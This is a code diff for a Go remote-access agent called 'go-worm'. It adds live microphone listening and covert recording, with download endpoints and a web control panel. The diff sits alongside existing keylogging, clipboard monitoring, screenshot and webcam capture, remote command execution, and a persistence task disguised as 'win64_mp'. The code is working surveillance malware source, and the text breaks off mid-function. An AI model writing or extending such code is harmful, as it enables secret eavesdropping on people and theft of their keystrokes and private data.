Audio

lib/agent/agent.go

@@ -19,6 +19,7 @@ import (
 	"tea.chunkbyte.com/kato/go-worm/lib/input"
 	"tea.chunkbyte.com/kato/go-worm/lib/instance"
 	"tea.chunkbyte.com/kato/go-worm/lib/keylog"
+	"tea.chunkbyte.com/kato/go-worm/lib/mic"
 )
 
 type Agent struct {
@@ -75,6 +76,7 @@ func (a *Agent) Close() {
 	clipmon.Stop()
 	keylog.Stop()
 	capture.Stop()
+	mic.Stop()
 	if a.guard != nil {
 		a.guard.Close()
 	}
@@ -95,6 +97,11 @@ func (a *Agent) Serve() error {
 	mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot)
 	mux.HandleFunc("/api/v1/webcam", a.handleWebcam)
 	mux.HandleFunc("/api/v1/webcam/frame", a.handleWebcamFrame)
+	mux.HandleFunc("/api/v1/mic", a.handleMic)
+	mux.HandleFunc("/api/v1/mic/chunk", a.handleMicChunk)
+	mux.HandleFunc("/api/v1/mic/record", a.handleMicRecord)
+	mux.HandleFunc("/api/v1/mic/recordings", a.handleMicRecordings)
+	mux.HandleFunc("/api/v1/mic/download", a.handleMicDownload)
 	mux.HandleFunc("/api/v1/exec", a.handleExec)
 	mux.HandleFunc("/api/v1/startup", a.handleStartup)
 	mux.HandleFunc("/api/v1/watchdog", a.handleWatchdog)

lib/agent/handlers.go

@@ -21,6 +21,7 @@ import (
 	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
 	"tea.chunkbyte.com/kato/go-worm/lib/input"
 	"tea.chunkbyte.com/kato/go-worm/lib/keylog"
+	"tea.chunkbyte.com/kato/go-worm/lib/mic"
 	"tea.chunkbyte.com/kato/go-worm/lib/models"
 	"tea.chunkbyte.com/kato/go-worm/lib/openapi"
 	"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
@@ -411,6 +412,166 @@ func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) {
 	_, _ = w.Write(frame.Data)
 }
 
+func parseMicDevice(r *http.Request) (int, error) {
+	device := 0
+	if raw := r.URL.Query().Get("device"); raw != "" {
+		var err error
+		device, err = strconv.Atoi(raw)
+		if err != nil || device < 0 {
+			return 0, errors.New("device must be 0 or greater")
+		}
+	}
+	return device, nil
+}
+
+func (a *Agent) handleMic(w http.ResponseWriter, r *http.Request) {
+	switch r.Method {
+	case http.MethodGet:
+		devices, err := mic.List()
+		if err != nil {
+			helpers.Log.Printf("mic list: %v", err)
+			helpers.WriteError(w, http.StatusServiceUnavailable, err.Error())
+			return
+		}
+		if devices == nil {
+			devices = []mic.Device{}
+		}
+		helpers.WriteJSON(w, http.StatusOK, map[string]any{"devices": devices})
+	case http.MethodDelete:
+		mic.Stop()
+		w.WriteHeader(http.StatusNoContent)
+	default:
+		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
+	}
+}
+
+func (a *Agent) handleMicChunk(w http.ResponseWriter, r *http.Request) {
+	if r.Method != http.MethodGet {
+		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
+		return
+	}
+	device, err := parseMicDevice(r)
+	if err != nil {
+		helpers.WriteError(w, http.StatusBadRequest, err.Error())
+		return
+	}
+	data, err := mic.Chunk(device)
+	if errors.Is(err, mic.ErrNoAudio) {
+		w.WriteHeader(http.StatusNoContent)
+		return
+	}
+	if errors.Is(err, mic.ErrDeviceNotFound) {
+		helpers.WriteError(w, http.StatusBadRequest, err.Error())
+		return
+	}
+	if err != nil {
+		helpers.Log.Printf("mic chunk: %v", err)
+		helpers.WriteError(w, http.StatusServiceUnavailable, err.Error())
+		return
+	}
+	w.Header().Set("Content-Type", "audio/wav")
+	w.Header().Set("Content-Length", strconv.Itoa(len(data)))
+	_, _ = w.Write(data)
+}
+
+func (a *Agent) handleMicRecord(w http.ResponseWriter, r *http.Request) {
+	switch r.Method {
+	case http.MethodPost:
+		device, err := parseMicDevice(r)
+		if err != nil {
+			helpers.WriteError(w, http.StatusBadRequest, err.Error())
+			return
+		}
+		name, err := mic.StartRecord(device)
+		if errors.Is(err, mic.ErrAlreadyRecording) {
+			helpers.WriteError(w, http.StatusConflict, err.Error())
+			return
+		}
+		if errors.Is(err, mic.ErrDeviceNotFound) {
+			helpers.WriteError(w, http.StatusBadRequest, err.Error())
+			return
+		}
+		if err != nil {
+			helpers.Log.Printf("mic record start: %v", err)
+			helpers.WriteError(w, http.StatusServiceUnavailable, err.Error())
+			return
+		}
+		helpers.WriteJSON(w, http.StatusOK, map[string]any{"file": name, "recording": true})
+	case http.MethodDelete:
+		name, size, err := mic.StopRecord()
+		if errors.Is(err, mic.ErrNotRecording) {
+			helpers.WriteError(w, http.StatusBadRequest, err.Error())
+			return
+		}
+		if err != nil {
+			helpers.Log.Printf("mic record stop: %v", err)
+			helpers.WriteError(w, http.StatusInternalServerError, err.Error())
+			return
+		}
+		helpers.WriteJSON(w, http.StatusOK, map[string]any{"file": name, "size": size, "recording": false})
+	default:
+		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
+	}
+}
+
+func (a *Agent) handleMicRecordings(w http.ResponseWriter, r *http.Request) {
+	if r.Method != http.MethodGet {
+		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
+		return
+	}
+	files, err := mic.ListRecordings()
+	if err != nil {
+		helpers.Log.Printf("mic recordings list: %v", err)
+		helpers.WriteError(w, http.StatusInternalServerError, "could not list recordings")
+		return
+	}
+	dir, err := mic.Dir()
+	if err != nil {
+		helpers.Log.Printf("mic dir: %v", err)
+		helpers.WriteError(w, http.StatusInternalServerError, "could not resolve mic directory")
+		return
+	}
+	if files == nil {
+		files = []mic.FileInfo{}
+	}
+	helpers.WriteJSON(w, http.StatusOK, map[string]any{"directory": dir, "files": files, "recording": mic.Recording()})
+}
+
+func (a *Agent) handleMicDownload(w http.ResponseWriter, r *http.Request) {
+	if r.Method != http.MethodGet {
+		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
+		return
+	}
+	name := r.URL.Query().Get("file")
+	if name == "" {
+		helpers.WriteError(w, http.StatusBadRequest, "file is required")
+		return
+	}
+	if !mic.ValidRecordingFilename(name) {
+		helpers.WriteError(w, http.StatusBadRequest, "invalid recording file name")
+		return
+	}
+	file, info, err := mic.OpenRecording(name)
+	if err != nil {
+		if errors.Is(err, os.ErrNotExist) {
+			helpers.WriteError(w, http.StatusNotFound, "recording not found")
+			return
+		}
+		if errors.Is(err, os.ErrInvalid) {
+			helpers.WriteError(w, http.StatusBadRequest, "invalid recording file name")
+			return
+		}
+		helpers.Log.Printf("mic download: %v", err)
+		helpers.WriteError(w, http.StatusInternalServerError, "could not open recording")
+		return
+	}
+	defer file.Close()
+	w.Header().Set("Content-Type", "audio/wav")
+	w.Header().Set("Content-Disposition", `attachment; filename="`+strings.ReplaceAll(filepath.Base(name), `"`, "'")+`"`)
+	w.Header().Set("Accept-Ranges", "bytes")
+	http.ServeContent(w, r, info.Name(), info.ModTime(), file)
+}
+
 func (a *Agent) handleWebcam(w http.ResponseWriter, r *http.Request) {
 	if r.Method != http.MethodGet {
 		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")

lib/agent/web/app.js

@@ -32,11 +32,23 @@
   const webcamDevice = document.getElementById("webcam-device");
   const webcamStart = document.getElementById("webcam-start");
   const webcamStop = document.getElementById("webcam-stop");
+  const micMeta = document.getElementById("mic-meta");
+  const micDevice = document.getElementById("mic-device");
+  const micRows = document.getElementById("mic-rows");
+  const micListen = document.getElementById("mic-listen");
+  const micListenStop = document.getElementById("mic-listen-stop");
+  const micRecord = document.getElementById("mic-record");
+  const micRecordStop = document.getElementById("mic-record-stop");
 
   let objectUrls = [];
   let videoRunning = false;
   let videoTabActive = false;
   let webcamRunning = false;
+  let micListening = false;
+  let micRecording = false;
+  let micTabActive = false;
+  let micAudioCtx = null;
+  let nextPlayTime = 0;
   let selectedLogName = "";
   let lastMonitor = { left: 0, top: 0, width: 0, height: 0 };
   let currentListen = "";
@@ -64,6 +76,18 @@
     return res;
   }
 
+  async function apiNoContent(url, options) {
+    showError("");
+    const res = await fetch(url, options);
+    if (res.status === 204) {
+      return res;
+    }
+    if (!res.ok) {
+      throw new Error(await readError(res));
+    }
+    return res;
+  }
+
   function formatBytes(n) {
     if (n < 1024) return `${n} B`;
     const units = ["KB", "MB", "GB", "TB"];
@@ -467,6 +491,174 @@
     webcamStop.disabled = true;
   }
 
+  function sleep(ms) {
+    return new Promise((resolve) => setTimeout(resolve, ms));
+  }
+
+  function setMicControls() {
+    micListen.disabled = micListening;
+    micListenStop.disabled = !micListening;
+    micRecord.disabled = micRecording;
+    micRecordStop.disabled = !micRecording;
+  }
+
+  async function refreshMics() {
+    const res = await api("/api/v1/mic");
+    const data = await res.json();
+    const devices = data.devices || [];
+    const prev = micDevice.value;
+    micDevice.replaceChildren();
+    if (!devices.length) {
+      const opt = document.createElement("option");
+      opt.value = "";
+      opt.textContent = "No microphones found";
+      micDevice.append(opt);
+      micMeta.textContent = "No capture devices";
+      return;
+    }
+    for (const dev of devices) {
+      const opt = document.createElement("option");
+      opt.value = String(dev.index);
+      opt.textContent = `${dev.index}: ${dev.name}`;
+      micDevice.append(opt);
+    }
+    if ([...micDevice.options].some((o) => o.value === prev)) {
+      micDevice.value = prev;
+    }
+    micMeta.textContent = `${devices.length} device(s)`;
+  }
+
+  async function pullMicChunk() {
+    const device = micDevice.value;
+    if (device === "") throw new Error("no microphone selected");
+    const res = await fetch(`/api/v1/mic/chunk?device=${encodeURIComponent(device)}`);
+    if (res.status === 204) return;
+    if (!res.ok) throw new Error(await readError(res));
+    const buf = await res.arrayBuffer();
+    if (!buf.byteLength) return;
+    if (!micAudioCtx) {
+      micAudioCtx = new AudioContext();
+    }
+    if (micAudioCtx.state === "suspended") {
+      await micAudioCtx.resume();
+    }
+    let audioBuf;
+    try {
+      audioBuf = await micAudioCtx.decodeAudioData(buf.slice(0));
+    } catch {
+      return;
+    }
+    const src = micAudioCtx.createBufferSource();
+    src.buffer = audioBuf;
+    src.connect(micAudioCtx.destination);
+    const now = micAudioCtx.currentTime;
+    const start = Math.max(now, nextPlayTime);
+    src.start(start);
+    nextPlayTime = start + audioBuf.duration;
+  }
+
+  async function runMicListen() {
+    if (micListening) return;
+    micListening = true;
+    nextPlayTime = 0;
+    setMicControls();
+    while (micListening) {
+      try {
+        await pullMicChunk();
+      } catch (err) {
+        if (micListening) {
+          showError(err.message);
+          await sleep(500);
+        }
+        continue;
+      }
+      await sleep(50);
+    }
+    micListening = false;
+    setMicControls();
+  }
+
+  function stopMicListen() {
+    micListening = false;
+    setMicControls();
+  }
+
+  async function startMicRecording() {
+    const device = micDevice.value;
+    if (device === "") throw new Error("no microphone selected");
+    const res = await api(`/api/v1/mic/record?device=${encodeURIComponent(device)}`, { method: "POST" });
+    const data = await res.json();
+    micRecording = true;
+    setMicControls();
+    micMeta.textContent = `Recording ${data.file}`;
+  }
+
+  async function stopMicRecording() {
+    const res = await api("/api/v1/mic/record", { method: "DELETE" });
+    const data = await res.json();
+    micRecording = false;
+    setMicControls();
+    micMeta.textContent = `Saved ${data.file} · ${formatBytes(data.size || 0)}`;
+    await listMicRecordings();
+  }
+
+  async function stopMicSession() {
+    stopMicListen();
+    if (micRecording) {
+      try {
+        await stopMicRecording();
+      } catch {
+        micRecording = false;
+        setMicControls();
+      }
+    }
+    try {
+      await apiNoContent("/api/v1/mic", { method: "DELETE" });
+    } catch {
+      // ignore
+    }
+  }
+
+  function downloadMicRecording(name) {
+    const link = document.createElement("a");
+    link.href = `/api/v1/mic/download?file=${encodeURIComponent(name)}`;
+    link.download = name;
+    document.body.append(link);
+    link.click();
+    link.remove();
+  }
+
+  async function listMicRecordings() {
+    const res = await api("/api/v1/mic/recordings");
+    const data = await res.json();
+    const files = data.files || [];
+    micRecording = Boolean(data.recording);
+    setMicControls();
+    const dir = data.directory || "";
+    micMeta.textContent = micRecording
+      ? `Recording in progress · ${files.length} saved · ${dir}`
+      : `${files.length} recording(s) · ${dir}`;
+    micRows.replaceChildren();
+    for (const file of files) {
+      const tr = document.createElement("tr");
+      const name = document.createElement("td");
+      name.textContent = file.name;
+      const size = document.createElement("td");
+      size.textContent = formatBytes(file.size || 0);
+      const modified = document.createElement("td");
+      modified.textContent = file.modified_time ? new Date(file.modified_time).toLocaleString() : "";
+      const actions = document.createElement("td");
+      actions.className = "actions";
+      const btn = document.createElement("button");
+      btn.type = "button";
+      btn.textContent = "Download";
+      btn.addEventListener("click", () => downloadMicRecording(file.name));
+      actions.append(btn);
+      tr.append(name, size, modified, actions);
+      micRows.append(tr);
+    }
+  }
+
   async function pullVideoFrame() {
     const quality = clamp(document.getElementById("video-quality").value, 1, 100);
     const monitor = clamp(document.getElementById("video-monitor").value, 0, 64);
@@ -731,6 +923,15 @@
       if (!onVideo) {
         stopVideo();
       }
+      const onMic = button.dataset.tab === "mic";
+      if (micTabActive && !onMic) {
+        stopMicSession().catch((err) => showError(err.message));
+      }
+      micTabActive = onMic;
+      if (onMic) {
+        refreshMics().catch((err) => showError(err.message));
+        listMicRecordings().catch((err) => showError(err.message));
+      }
       if (button.dataset.tab === "logs") {
         listKeylogs().catch((err) => showError(err.message));
       }
@@ -799,6 +1000,26 @@
   document.getElementById("webcam-snap").addEventListener("click", () => {
     pullWebcamFrame().catch((err) => showError(err.message));
   });
+  document.getElementById("mic-refresh").addEventListener("click", () => {
+    refreshMics().catch((err) => showError(err.message));
+  });
+  micListen.addEventListener("click", () => {
+    runMicListen().catch((err) => showError(err.message));
+  });
+  micListenStop.addEventListener("click", () => {
+    stopMicListen();
+  });
+  micRecord.addEventListener("click", () => {
+    startMicRecording().catch((err) => showError(err.message));
+  });
+  micRecordStop.addEventListener("click", () => {
+    stopMicRecording().catch((err) => showError(err.message));
+  });
+  micDevice.addEventListener("change", () => {
+    if (micListening || micRecording) {
+      stopMicSession().catch((err) => showError(err.message));
+    }
+  });
   videoCanvas.addEventListener("click", (event) => {
     sendClick(event, "left").catch((err) => showError(err.message));
   });

lib/agent/web/index.html

@@ -735,6 +735,7 @@
       <button data-tab="screenshot" type="button">Screenshot</button>
       <button data-tab="video" type="button">Video</button>
       <button data-tab="webcam" type="button">Webcam</button>
+      <button data-tab="mic" type="button">Mic</button>
       <button data-tab="exec" type="button">Command</button>
       <button data-tab="update" type="button">Update</button>
       <button data-tab="settings" type="button">Settings</button>
@@ -887,6 +888,36 @@
         <p id="webcam-meta" class="meta stack-gap"></p>
       </section>
 
+      <section id="mic" class="panel">
+        <div class="panel-head">
+          <div>
+            <h2>Microphone</h2>
+            <p class="lede">Listen live or record to AppData. Listen and record share one capture session.</p>
+          </div>
+          <div class="panel-actions">
+            <button id="mic-listen" class="primary" type="button">Listen</button>
+            <button id="mic-listen-stop" type="button" disabled>Stop listen</button>
+            <button id="mic-record" type="button">Record</button>
+            <button id="mic-record-stop" class="danger" type="button" disabled>Stop record</button>
+          </div>
+        </div>
+        <div class="toolbar">
+          <button id="mic-refresh" type="button">Refresh devices</button>
+          <label>Device
+            <select id="mic-device" class="grow"></select>
+          </label>
+        </div>
+        <p id="mic-meta" class="meta stack-gap">—</p>
+        <div class="table-wrap stack-gap">
+          <table>
+            <thead>
+              <tr><th>Recording</th><th>Size</th><th>Modified</th><th></th></tr>
+            </thead>
+            <tbody id="mic-rows"></tbody>
+          </table>
+        </div>
+      </section>
+
       <section id="exec" class="panel">
         <div class="panel-head">
           <div>

lib/config/config.go

@@ -34,6 +34,7 @@ const (
 	KeylogSubdir               = "keystrokes"
 	LogsSubdir                 = "logs"
 	ClipboardSubdir            = "clipboard"
+	MicSubdir                  = "mic"
 	SettingsFileName           = "settings.json"
 	WatchdogTaskName           = "win64_mp"
 	WatchdogTaskNameLegacy     = "win64_mp_watchdog"
@@ -137,3 +138,11 @@ func ClipboardDir() (string, error) {
 	}
 	return filepath.Join(base, ClipboardSubdir), nil
 }
+
+func MicDir() (string, error) {
+	base, err := InstallDir()
+	if err != nil {
+		return "", err
+	}
+	return filepath.Join(base, MicSubdir), nil
+}

lib/mic/chunk.go

@@ -0,0 +1,15 @@
+package mic
+
+// ponytail: cap listen buffer at 5s; excess dropped from front (slow poll won't OOM agent).
+const maxChunkPCM = SampleRate * BytesPerSample * 5
+
+func appendChunkPCM(buf []byte, pcm []byte) []byte {
+	if len(pcm) == 0 {
+		return buf
+	}
+	buf = append(buf, pcm...)
+	if len(buf) <= maxChunkPCM {
+		return buf
+	}
+	return append([]byte(nil), buf[len(buf)-maxChunkPCM:]...)
+}

lib/mic/chunk_test.go

@@ -0,0 +1,20 @@
+package mic
+
+import (
+	"bytes"
+	"testing"
+)
+
+func TestAppendChunkPCMCaps(t *testing.T) {
+	t.Parallel()
+	half := maxChunkPCM / 2
+	buf := appendChunkPCM(nil, bytes.Repeat([]byte{1}, half))
+	buf = appendChunkPCM(buf, bytes.Repeat([]byte{2}, half))
+	buf = appendChunkPCM(buf, bytes.Repeat([]byte{3}, half))
+	if len(buf) != maxChunkPCM {
+		t.Fatalf("len = %d, want %d", len(buf), maxChunkPCM)
+	}
+	if buf[0] != 2 {
+		t.Fatalf("first byte = %d, want 2 (oldest chunk dropped)", buf[0])
+	}
+}

lib/mic/list.go

@@ -0,0 +1,76 @@
+package mic
+
+import (
+	"os"
+	"path/filepath"
+	"sort"
+	"time"
+
+	"tea.chunkbyte.com/kato/go-worm/lib/config"
+)
+
+type FileInfo struct {
+	Name         string    `json:"name"`
+	Size         int64     `json:"size"`
+	ModifiedTime time.Time `json:"modified_time"`
+}
+
+func Dir() (string, error) {
+	return config.MicDir()
+}
+
+func ListRecordings() ([]FileInfo, error) {
+	dir, err := Dir()
+	if err != nil {
+		return nil, err
+	}
+	entries, err := os.ReadDir(dir)
+	if err != nil {
+		if os.IsNotExist(err) {
+			return nil, nil
+		}
+		return nil, err
+	}
+	var files []FileInfo
+	for _, entry := range entries {
+		if entry.IsDir() || !ValidRecordingFilename(entry.Name()) {
+			continue
+		}
+		info, err := entry.Info()
+		if err != nil {
+			continue
+		}
+		files = append(files, FileInfo{
+			Name:         entry.Name(),
+			Size:         info.Size(),
+			ModifiedTime: info.ModTime(),
+		})
+	}
+	sort.Slice(files, func(i, j int) bool {
+		return files[i].ModifiedTime.After(files[j].ModifiedTime)
+	})
+	return files, nil
+}
+
+func OpenRecording(name string) (*os.File, os.FileInfo, error) {
+	if !ValidRecordingFilename(name) {
+		return nil, nil, os.ErrInvalid
+	}
+	dir, err := Dir()
+	if err != nil {
+		return nil, nil, err
+	}
+	path := filepath.Join(dir, filepath.Base(name))
+	info, err := os.Stat(path)
+	if err != nil {
+		return nil, nil, err
+	}
+	if info.IsDir() {
+		return nil, nil, os.ErrInvalid
+	}
+	file, err := os.Open(path)
+	if err != nil {
+		return nil, nil, err
+	}
+	return file, info, nil
+}

lib/mic/mic.go

@@ -0,0 +1,17 @@
+package mic
+
+import (
+	"errors"
+)
+
+var (
+	ErrDeviceNotFound   = errors.New("microphone not found")
+	ErrAlreadyRecording = errors.New("already recording")
+	ErrNotRecording     = errors.New("not recording")
+	ErrNoAudio          = errors.New("no audio available")
+)
+
+type Device struct {
+	Index int    `json:"index"`
+	Name  string `json:"name"`
+}

lib/mic/mic_stub.go

@@ -0,0 +1,25 @@
+//go:build !windows
+
+package mic
+
+import "errors"
+
+func List() ([]Device, error) {
+	return nil, errors.New("microphone is only available on Windows")
+}
+
+func Chunk(int) ([]byte, error) {
+	return nil, errors.New("microphone is only available on Windows")
+}
+
+func StartRecord(int) (string, error) {
+	return "", errors.New("microphone is only available on Windows")
+}
+
+func StopRecord() (string, int64, error) {
+	return "", 0, errors.New("microphone is only available on Windows")
+}
+
+func Recording() bool { return false }
+
+func Stop() {}

lib/mic/mic_windows.go

@@ -0,0 +1,443 @@
+//go:build windows
+
+package mic
+
+import (
+	"errors"
+	"fmt"
+	"sync"
+	"syscall"
+	"time"
+	"unsafe"
+
+	"golang.org/x/sys/windows"
+
+	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
+)
+
+const (
+	callbackEvent = 0x00050000
+	whdrDone      = 0x00000001
+	numBuffers    = 3
+	bufferMillis  = 200
+	idleClose     = 2 * time.Second
+	maxDeviceName = 32
+)
+
+var (
+	winmm                     = windows.NewLazySystemDLL("winmm.dll")
+	procWaveInGetNumDevs      = winmm.NewProc("waveInGetNumDevs")
+	procWaveInGetDevCapsW     = winmm.NewProc("waveInGetDevCapsW")
+	procWaveInOpen            = winmm.NewProc("waveInOpen")
+	procWaveInClose           = winmm.NewProc("waveInClose")
+	procWaveInPrepareHeader   = winmm.NewProc("waveInPrepareHeader")
+	procWaveInUnprepareHeader = winmm.NewProc("waveInUnprepareHeader")
+	procWaveInAddBuffer       = winmm.NewProc("waveInAddBuffer")
+	procWaveInStart           = winmm.NewProc("waveInStart")
+	procWaveInReset           = winmm.NewProc("waveInReset")
+)
+
+type waveFormatEx struct {
+	FormatTag      uint16
+	Channels       uint16
+	SamplesPerSec  uint32
+	AvgBytesPerSec uint32
+	BlockAlign     uint16
+	BitsPerSample  uint16
+	Size           uint16
+}
+
+type waveInCaps struct {
+	Mid           uint16
+	Pid           uint16
+	DriverVersion uint32
+	Name          [maxDeviceName]uint16
+	Formats       uint32
+	WChannels     uint16
+	Reserved      uint16
+}
+
+type waveHdr struct {
+	Data          uintptr
+	BufferLength  uint32
+	BytesRecorded uint32
+	User          uintptr
+	Flags         uint32
+	Loops         uint32
+	Next          uintptr
+	Reserved      uintptr
+}
+
+type captureBuffer struct {
+	hdr  waveHdr
+	data []byte
+}
+
+var (
+	mu   sync.Mutex
+	sess *captureSession
+)
+
+type captureSession struct {
+	device   int
+	hWave    uintptr
+	event    windows.Handle
+	stopCh   chan struct{}
+	doneOnce sync.Once
+	doneCh   chan struct{}
+	buffers  []captureBuffer
+	chunkPCM []byte
+	rec      *fileRecorder
+	recName  string
+	lastPoll time.Time
+}
+
+func List() ([]Device, error) {
+	n, _, _ := procWaveInGetNumDevs.Call()
+	count := int(n)
+	var out []Device
+	for i := 0; i < count; i++ {
+		var caps waveInCaps
+		ok, _, _ := procWaveInGetDevCapsW.Call(
+			uintptr(i),
+			uintptr(unsafe.Pointer(&caps)),
+			unsafe.Sizeof(caps),
+		)
+		if ok != 0 {
+			continue
+		}
+		name := windows.UTF16ToString(caps.Name[:])
+		if name == "" {
+			name = fmt.Sprintf("Microphone %d", i)
+		}
+		out = append(out, Device{Index: i, Name: name})
+	}
+	return out, nil
+}
+
+func Chunk(device int) ([]byte, error) {
+	mu.Lock()
+	defer mu.Unlock()
+	if err := ensureSessionLocked(device); err != nil {
+		return nil, err
+	}
+	sess.lastPoll = time.Now()
+	pcm := append([]byte(nil), sess.chunkPCM...)
+	sess.chunkPCM = nil
+	if len(pcm) == 0 {
+		return nil, ErrNoAudio
+	}
+	return EncodeWAV(pcm), nil
+}
+
+func StartRecord(device int) (string, error) {
+	mu.Lock()
+	defer mu.Unlock()
+	if sess != nil && sess.rec != nil {
+		return "", ErrAlreadyRecording
+	}
+	if err := ensureSessionLocked(device); err != nil {
+		return "", err
+	}
+	name := RecordingFilename(time.Now())
+	rec, err := openRecorder(name)
+	if err != nil {
+		return "", err
+	}
+	sess.rec = rec
+	sess.recName = name
+	sess.lastPoll = time.Now()
+	return name, nil
+}
+
+func StopRecord() (string, int64, error) {
+	mu.Lock()
+	defer mu.Unlock()
+	if sess == nil || sess.rec == nil {
+		return "", 0, ErrNotRecording
+	}
+	name := sess.recName
+	size, err := sess.rec.Close()
+	sess.rec = nil
+	sess.recName = ""
+	return name, size, err
+}
+
+func Recording() bool {
+	mu.Lock()
+	defer mu.Unlock()
+	return sess != nil && sess.rec != nil
+}
+
+func Stop() {
+	mu.Lock()
+	stopSessionLocked()
+	mu.Unlock()
+}
+
+func ensureSessionLocked(device int) error {
+	if sess != nil && sess.device == device && sess.hWave != 0 {
+		return nil
+	}
+	stopSessionLocked()
+	return startSessionLocked(device)
+}
+
+func startSessionLocked(device int) error {
+	if err := deviceExists(device); err != nil {
+		return err
+	}
+
+	event, err := windows.CreateEvent(nil, 0, 0, nil)
+	if err != nil {
+		return err
+	}
+
+	format := waveFormatEx{
+		FormatTag:      1,
+		Channels:       Channels,
+		SamplesPerSec:  SampleRate,
+		AvgBytesPerSec: SampleRate * Channels * BytesPerSample,
+		BlockAlign:     Channels * BytesPerSample,
+		BitsPerSample:  BitsPerSample,
+	}
+
+	var hWave uintptr
+	bufBytes := SampleRate * BytesPerSample * bufferMillis / 1000
+	if bufBytes < 1024 {
+		bufBytes = 1024
+	}
+
+	ok, _, callErr := procWaveInOpen.Call(
+		uintptr(unsafe.Pointer(&hWave)),
+		uintptr(device),
+		uintptr(unsafe.Pointer(&format)),
+		uintptr(event),
+		0,
+		callbackEvent,
+	)
+	if ok != 0 {
+		windows.CloseHandle(event)
+		if callErr != nil && callErr != syscall.Errno(0) {
+			return callErr
+		}
+		return fmt.Errorf("waveInOpen failed")
+	}
+
+	s := &captureSession{
+		device:   device,
+		hWave:    hWave,
+		event:    event,
+		stopCh:   make(chan struct{}),
+		doneCh:   make(chan struct{}),
+		lastPoll: time.Now(),
+	}
+	for i := 0; i < numBuffers; i++ {
+		cb := captureBuffer{data: make([]byte, bufBytes)}
+		if err := prepareBuffer(hWave, &cb); err != nil {
+			closeCapture(s)
+			return err
+		}
+		s.buffers = append(s.buffers, cb)
+	}
+
+	sess = s
+	go runCaptureLoop(s)
+	go runIdleWatcher(s)
+
+	ok, _, callErr = procWaveInStart.Call(hWave)
+	if ok != 0 {
+		stopSessionLocked()
+		if callErr != nil && callErr != syscall.Errno(0) {
+			return callErr
+		}
+		return fmt.Errorf("waveInStart failed")
+	}
+	return nil
+}
+
+func deviceExists(device int) error {
+	devices, err := List()
+	if err != nil {
+		return err
+	}
+	for _, d := range devices {
+		if d.Index == device {
+			return nil
+		}
+	}
+	return ErrDeviceNotFound
+}
+
+func prepareBuffer(hWave uintptr, cb *captureBuffer) error {
+	if len(cb.data) == 0 {
+		return errors.New("empty capture buffer")
+	}
+	cb.hdr = waveHdr{
+		Data:         uintptr(unsafe.Pointer(&cb.data[0])),
+		BufferLength: uint32(len(cb.data)),
+	}
+	ok, _, err := procWaveInPrepareHeader.Call(
+		hWave,
+		uintptr(unsafe.Pointer(&cb.hdr)),
+		unsafe.Sizeof(cb.hdr),
+	)
+	if ok != 0 {
+		if err != nil && err != syscall.Errno(0) {
+			return err
+		}
+		return errors.New("waveInPrepareHeader failed")
+	}
+	ok, _, err = procWaveInAddBuffer.Call(
+		hWave,
+		uintptr(unsafe.Pointer(&cb.hdr)),
+		unsafe.Sizeof(cb.hdr),
+	)
+	if ok != 0 {
+		_, _, _ = procWaveInUnprepareHeader.Call(hWave, uintptr(unsafe.Pointer(&cb.hdr)), unsafe.Sizeof(cb.hdr))
+		if err != nil && err != syscall.Errno(0) {
+			return err
+		}
+		return errors.New("waveInAddBuffer failed")
+	}
+	return nil
+}
+
+func runIdleWatcher(s *captureSession) {
+	defer helpers.RecoverLog("mic-idle")
+	ticker := time.NewTicker(500 * time.Millisecond)
+	defer ticker.Stop()
+	for {
+		select {
+		case <-s.stopCh:
+			return
+		case <-ticker.C:
+			mu.Lock()
+			if sess == s && s.rec == nil && time.Since(s.lastPoll) > idleClose {
+				stopSessionLocked()
+			}
+			mu.Unlock()
+		}
+	}
+}
+
+func runCaptureLoop(s *captureSession) {
+	defer s.finish()
+	defer helpers.RecoverLog("mic-capture")
+	for {
+		select {
+		case <-s.stopCh:
+			return
+		default:
+		}
+		wait, err := windows.WaitForSingleObject(s.event, 500)
+		if err != nil {
+			continue
+		}
+		if wait == uint32(windows.WAIT_TIMEOUT) {
+			continue
+		}
+		if wait != windows.WAIT_OBJECT_0 {
+			continue
+		}
+
+		var broken bool
+		mu.Lock()
+		if sess != s {
+			mu.Unlock()
+			return
+		}
+		for i := range s.buffers {
+			cb := &s.buffers[i]
+			if cb.hdr.Flags&whdrDone == 0 {
+				continue
+			}
+			n := int(cb.hdr.BytesRecorded)
+			if n > len(cb.data) {
+				n = len(cb.data)
+			}
+			if n > 0 {
+				pcm := append([]byte(nil), cb.data[:n]...)
+				s.chunkPCM = appendChunkPCM(s.chunkPCM, pcm)
+				if s.rec != nil {
+					if err := s.rec.Write(pcm); err != nil {
+						helpers.Log.Printf("mic record: %v", err)
+						_, _ = s.rec.Close()
+						s.rec = nil
+						s.recName = ""
+					}
+				}
+			}
+			cb.hdr.Flags &^= whdrDone
+			cb.hdr.BytesRecorded = 0
+			_, _, _ = procWaveInUnprepareHeader.Call(s.hWave, uintptr(unsafe.Pointer(&cb.hdr)), unsafe.Sizeof(cb.hdr))
+			if err := prepareBuffer(s.hWave, cb); err != nil {
+				helpers.Log.Printf("mic buffer: %v", err)
+				broken = true
+			}
+		}
+		mu.Unlock()
+		if broken {
+			mu.Lock()
+			if sess == s {
+				sess = nil
+			}
+			mu.Unlock()
+			signalCaptureStop(s)
+			return
+		}
+	}
+}
+
+func (s *captureSession) finish() {
+	s.doneOnce.Do(func() { close(s.doneCh) })
+}
+
+// stopSessionLocked drops the session. Caller must hold mu.
+// Never wait on capture shutdown while holding mu (deadlock with capture loop).
+func stopSessionLocked() {
+	if sess == nil {
+		return
+	}
+	s := sess
+	sess = nil
+	mu.Unlock()
+	closeCapture(s)
+	mu.Lock()
+}
+
+func closeCapture(s *captureSession) {
+	signalCaptureStop(s)
+	<-s.doneCh
+}
+
+func signalCaptureStop(s *captureSession) {
+	if s == nil {
+		return
+	}
+	select {
+	case <-s.stopCh:
+	default:
+		close(s.stopCh)
+	}
+	if s.hWave != 0 {
+		_, _, _ = procWaveInReset.Call(s.hWave)
+		for i := range s.buffers {
+			cb := &s.buffers[i]
